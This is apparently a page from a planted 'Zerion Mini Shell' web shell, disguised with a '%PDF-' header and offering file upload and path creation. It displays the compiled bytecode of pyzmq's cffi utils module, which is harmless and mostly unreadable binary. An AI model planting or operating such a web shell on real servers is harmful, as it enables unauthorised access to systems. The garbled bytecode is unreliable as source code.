%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python2.7/site-packages/zmq/backend/cffi/
Upload File :
Create Path :
Current File : //usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyc

�
+�{Wc@s�dZddlmZddlmZmZddlmZmZm	Z	m
Z
ddlmZd�Z
d�Zd	efd
��YZd�Zdd
d	gZdS(s miscellaneous zmq_utils wrappingi����(tEINTRi(tffitC(tZMQErrortInterruptedSystemCallt	_check_rct_check_version(tunicodecCsAtdd�t|t�r.|jd�}nttj|��S(s|Check for zmq capability by name (e.g. 'ipc', 'curve')
    
    .. versionadded:: libzmq-4.1
    .. versionadded:: 14.1
    iiszmq.hastutf8(ii(Rt
isinstanceRtencodetboolRtzmq_has(t
capability((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pythass
cCsktdd�tjd�}tjd�}tj||�}t|�tj|�d tj|�d fS(sgenerate a Z85 keypair for use with zmq.CURVE security
    
    Requires libzmq (≥ 4.0) to have been built with CURVE support.
    
    Returns
    -------
    (public, secret) : two bytestrings
        The public and private keypair as 40 byte z85-encoded bytestrings.
    iitmonitorschar[64]i((ii(RRtnewRtzmq_curve_keypairRtbuffer(tpublictprivatetrc((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyt
curve_keypairs


t	StopwatchcBs,eZd�Zd�Zd�Zd�ZRS(cCstj|_dS(N(RtNULLtwatch(tself((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyt__init__,scCs4|jtjkr$tj�|_ntd��dS(NsStopwatch is already running.(RRRRtzmq_stopwatch_startR(R((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pytstart/scCsG|jtjkr!td��n"tj|j�}tj|_|SdS(Ns-Must start the Stopwatch before calling stop.(RRRRRtzmq_stopwatch_stop(Rttime((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pytstop5s
cCstj|�dS(N(Rt	zmq_sleep(Rtseconds((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pytsleep=s(t__name__t
__module__RRR R#(((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyR+s			cOsCx<tr>||�}yt|�Wntk
r9qqXPqWdS(s/make a call, retrying if interrupted with EINTRN(tTrueRR(tftargstkwargsR((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyt_retry_sys_call@s	
RRN(t__doc__terrnoRt_cffiRRt	zmq.errorRRRRtzmq.utils.strtypesRRRtobjectRR*t__all__(((s</usr/lib64/python2.7/site-packages/zmq/backend/cffi/utils.pyt<module>s"			

Zerion Mini Shell 1.0